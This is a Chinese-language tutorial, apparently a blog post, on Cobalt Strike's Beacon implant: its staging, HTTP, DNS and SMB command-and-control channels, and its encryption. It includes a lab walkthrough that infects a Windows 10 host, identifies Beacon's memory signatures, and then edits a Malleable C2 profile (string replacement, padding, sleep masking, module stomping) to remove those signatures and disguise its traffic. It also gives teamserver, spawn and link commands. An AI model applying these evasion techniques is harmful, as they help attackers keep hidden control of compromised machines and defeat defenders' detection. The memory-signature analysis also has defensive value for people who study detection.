Beacon 是 Cobalt Strike 运行在目标主机上的 payload,Beacon 在隐蔽信道上为我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word文档或者通过利用主机漏洞来传递 Beacon。
Beacon的功能包括以下几点:
使用HTTP或DNS检查是否有待执行任务
可连接到多个C2域名
能够在分段传输后自动迁移
与Cobalt Strike紧密集成,通过社工、主机漏洞和会话来传递Beacon
Beacon的中文名为信标,像是在网络中告诉我们:“嘿,我是肉鸡,我在这…”。
Beacon在目标主机上运行之后,会主动向我们提前设置好的 Listener 发送请求信息(叮,您有新的主机已上线)。
Team Server 控制器接收到请求后会检查是否有待执行的任务,如果有就会将任务下发到Beacon。
Beacon 的工作原理总结:
当我们通过TeamServer生成了beacon文件后,并在靶机上执行该文件,会产生以下行为:
靶机主动请求生成beacon时所选择的Listener
攻击者通过TeamServer发现目标机器已上线
借助TeamServer下发指令给beacon执行(异步或同步
此处值得一提的是 payloading staging,很多攻击框架都是使用分段的shellcode,以防止shellcode过长,覆盖到了上一函数栈帧的数据,导致引发异常。要说分段shellcode就不得不提stager,stager是一段很精短的代码,它可以连接下载真正的payload并将其注入内存。我们使用stager就可以解决shellcode过长的问题。
Cobalt Strike中也支持分段payload:
关于分段payload优势与劣势的问题,本文不予讨论,这就像是选择鸡还是鸡蛋一样,Cobalt Strike的作者最终选择了鸡蛋,所以…在Cobalt Strike 3.5.1后的版本可以通过在 Malleable C2中添加host_stage选项,以限制分段payload。
在Cobalt Strike 4中应该尽可能多的使用unstage,一方面以保证安全性(因为你无法确保stager下载的stage是否受到中间人攻击,除非像MSF一样使用SSL保证安全性)。另一方面如果我们通过层层的代理,在内网进行漫游,这个时候使用分段的payload如果网络传输出现问题,stage没有加载过去,可能就会错失一个Beacon,unstage 的 payload会让人放心不少。
更多关于stage的参考资料:
https://blog.cobaltstrike.com/2016/06/15/what-is-a-stageless-payload-artifact/
Beacon的生成有两种模式
stage (有阶段)
stageless (无阶段)
stage(有阶段):指的是Beacon会分段的加载shellcode(具体表现为,通过不断的向Listener发起请求,最终获取一个完整的shellcode并执行)。
stageless(无阶段):则是在生成时则包含完整的shellcode。
Beacon有两种通信策略(与团队服务器通信-CS 中以团队服务器作为 C2)
异步式通信 =:异步模式下通信频率低、速度慢,如上图所示:Beacon会主动请求任务列表、然后进入SLEEP状态。
交互式通信 :C2 对 Beacon 实时控制
根据内置Listener的分类可以将Beacon分为:
HTTP and HTTPS Beacon
DNS Beacon
SMB Beacon
HTTP and HTTPS Beacon非常简单,关键是Beacon通过GET请求来下载任务。
Cobalt Strike使用DNS来完成Beacon check in的工作,如果DNS返回的记录解析为有需要执行的任务,那Beacon会使用HTTP来完成获取任务这一过程。具体原理参看下图:
需要注意的是:DNS Beacon现在已经有两种方式(第二种方式是使用TXT记录)传输Beacon和task list
SMB Beacon需要连接到Parent Beacon使用,所有任务均从parent Beacon接收,并通过parent Beacon返回任务结果。它使用了Windows的命名管道,命名管道是Windows进程间通信机制,允许两者间通信、互相查看和操作对方的文件。Cobalt Strike使用这种方式在进程与进程或主机与主机之间通信,因为基于SMB协议所以被称之为SMB Beacon。
设想这样一个问题,如果有人劫持了你的通信流量,并可以监听到你的Beacon向Team Server传回的数据,这时会发生什么呢?
答案是什么都不会发生。
因为Beacon内置了多种安全特性(除了第四条):
Beacon stage 在连接时会验证Team Server
Beacon 的任务请求和任务输出都是被加密的
Beacon 有重放保护机制
Beacon stagers 没有任何安全机制
当你启动Team Server并创建了Beacon Listener时,Team Server就会创建公钥对来保证后续传输过程的安全性。我们以分段传输payload为例,详细讲解一下Cobalt Strike的安全特性。
1. 当stager下载stage时,公钥也会被一起发送:
2. 当Beacon stage准备check in的时候,第一步就是要发送关于beacon session的元数据(Metadata)元数据中包含了用户、PID、电脑名称、IP地址等等基础信息,同时元数据中也包括了Beacon stage创建的一个随机会话密钥。为了保证安全性,Beacon stage会使用公钥加密元数据(含会话密钥),这意味着只有Team Server才能够解密该数据包。
3. 当Beacon从Team Server下载任务的时候,团队服务器会使用会话密钥加密这些任务,Beacon stage也会使用会话密钥来解密任务列表。
4. 同样在返回任务结果的时候,Beacon stage也会使用会话密钥对任务输出加密。
可以看到Raphael在设计Cobalt Strike的时候已经充分的考虑到了它的安全性问题,所以…师傅放心用吧,wink~
实验环境:
攻击者: KALI (含有Cobalt Strike ) IP: 192.168.23.128
受害者: Win10 IP: 192.168.23.130
在kali中使用 Cobalt Strike 生成一个无阶段的 beacon:beacon.exe
之后在受害者主机 win10 上运行beacon.exe
受害者主机 win10 运行beacon.exe 之后,已中招,在攻击者主机KALI 的 Cobalt Strike 上显示192.168.23.130已成功上线
在受害主机 WIN 10 上使用 Process Hacker 分析 Beacon的特征
打开 Process Hacker 找到运行的Beacon.exe
单击 选中的beacon.exe,之后弹出beacon.exe(4008)属性框,选择属性框中的“线程”,可以看到线程起始地址:beacon.exe+0x14b0
单击选中的beacon.exe+0x14b0,查看线程 952 的堆栈的调用了SleepEx睡眠
特征:内存段是rwx权限
查看 beacon.exe 所有的内存,内存段很少有是rwx权限的,我们直接定位到rwx内存段
之后,右键把内存导出到文件
右键用写字板形式打开beacon.exe.bin文件
可以看到内存里有beacon这个字符串特征
这里还有个特征:ReflectiveLoader一看就被别人知道了
内存特征总结:
1、内存段是rwx权限
2、内存中有 beacon 字符串
3、内存中有 ReflectiveLoader 字符串
使用 Profile 文件修改Beacon内存特征
下载地址:https://github.com/xx0hcd/Malleable-C2-Profiles
在文件中找到如下代码,并按照下图和以下代码进行修改,其中的#号是注释的意思
stage {
set checksum "0";
#设置 beacon Reflective DLL 的编译时间
#set compile_time "25 Oct 2016 01:57:23";
#设置 beacon Reflective DLL 的PE标头中的EntryPoint值
set entry_point "170000";
#set image_size_x86 "6586368";
#set image_size_x64 "6586368";
#设置 beacon Reflective DLL 的PE头名字
#set name "WWanMM.dll";
#避免 beacon 所在内存为 rwx
#set userwx "true";
#set cleanup "true";
#set sleep_mask "true";
#set stomppe "true";
#set obfuscate "true";
#设置 beacon Reflective DLL 编译器插入的元信息
#设置 beacon Reflective DLL 编译器插入的元信息
set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
#obfuscate beacon before sleep.
#在睡眠时间对内存进行混淆
#set sleep_mask "true";
#https://www.cobaltstrike.com/releasenotes.txt -> + Added option to bootstrap Beacon in-memory without walking kernel32 EAT
#set smartinject "true";
#new 4.2. options
#allocator options include HeapAlloc, MapViewOfFile, VirtualAlloc, or you can use module stomp.
#set allocator "HeapAlloc";
#set magic_mz_x86 "MZRE";
#set magic_mz_x64 "MZAR";
#set magic_pe "EA";
#module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working.
set module_x86 "wwanmm.dll";
set module_x64 "wwanmm.dll";
#transform allows you to remove, replace, and add strings to beacon's reflective dll stage.
#转换允许您删除、替换和添加字符串到beacon的反射dll阶段。
transform-x86 {
#在Beacon Reflective DLL之前插入一个字符串,防止通过dll前几个字节来检测
prepend "\x90\x90\x90";
#在Beacon Reflective DLL之中替换一个字符串,防止通过特定的字符串来监测
strrep "ReflectiveLoader" "t1";
strrep "beacon" "test";
#在Beacon Reflective DLL之后添加一个字符串,防止通过DLL最后几个字节来监测
append "\x90\x90\x90";
}
transform-x64 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" "t2";
strrep "beacon" "test";
append "\x90\x90\x90";
}
意思是:将beacon字符串替换为test,将ReflectiveLoader 字符串替换为 t2
( 也可以是:strrep “beacon.x64.dll” “test”;)
注意: set sleep_mask “true”; #在睡眠时间对内存进行混淆。
默认是开启的,开启情况下,不能提取到内存特征,保存到本地的内存文件都是进行混淆的,如果是验证字符串特征是否修改成功,此处应该注释掉#set sleep_mask “true”;
我们先注释掉禁用的rwx权限,方便等下快速定位,实战中不要注释
修改完 template.profile 文件之后,需要使用 c2lint 验证一下 profile 文件是否可用,命令:
chmod 777 c2lint
./c2lint template.profile
返回内容如下图所示,说明 profile 文件可用
在KALI上,开启的时候加载 profile 文件,命令:
./teamserver 192.168.23.128 123 template.profile
成功加载如下图所示:
之后按照之前的步骤重新生成一个beacon:beacon-test2.exe,并且放在受害主机WIN10上运行
按照之前同样的步骤,找到beacon-test2.exe文件具有 RWX 权限的内存段,并保存到本地为:beacon-test2.exe.bin
使用写字板打开 beacon-test2.exe.bin 文件,搜索 beacon 、ReflectiveLoader 字符串均为空,搜索test如下图所示,说明内存字符串特征被成功修改。
注意: Profile 文件修改内存还有很多功能,此处不一一演示了,把注销的#的删掉,使其生效即可,其它修改功能就可以使用了
Profile 文件修改http流量特征功能默认是开启的,在之前实验基础上使用wireshark抓包即可,抓包之后搜索 http 协议,如下图所示,可以看到HTTP流量特征已经被修改,修改的内容与Profile 文件设置的一致
HTTP请求数据包:
HTTP响应数据包:
修改过后的http流量,很难判断与Cobalt Strike有什么关联,就像正常访问的文件流量一样
前提条件:
1.具有SMB Beacon的主机必须接受端口445上的连接。
2.只能链接由同一Cobalt Strike实例管理的Beacon。
1、在 Listeners 中生成 SMB Beacon并保存,如下图所示
2、选中已经上线的目标主机 -> 右键 -> spawn -> 选中Listeners ->choose
等待一会儿之后,如果运行成功 external 可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon
(下图所示是连接状态 你可以主Beacon上 用link host链接它 或者unlink host断开它 )
链接SMB Beacon命令:link 192.168.23.130
断开链接SMB Beacon命令:unlink 192.168.23.130
beacon> help spawn
Use: spawn [x86|x64] [listener]
spawn [listener]
Spawn an x86 or x64 process and inject shellcode for the listener.
spawn 这个功能,中文意思是“产卵”,它的功能就是可以派生出更多的Beacon 让一个团队分布式渗入。通常我们在团队主服务器上给队友来派生Beacon 这样只要主服务器权限不掉,还能继续操作。尽量派生出多个Beacon,让我们的操作都在子Beacon。
这里简单叙述下 如何操作从主服务器 派生到 其他队友服务器的过程:
队友服务器Listeners生成 > 团队服务器 Listeners生成 使用队友ip>Spawn
其实很好理解 就是让队友的服务器生成监听 然后团队服务器生成server ip指向队友。
灵活的运用Spawn 不仅可以使团队效率提高,也能较好的维持权限,同时还能结合MSF。
这里就不演示了,也很简单
参考链接:https://www.cnblogs.com/lalalaxiaoyuren/p/14117945.html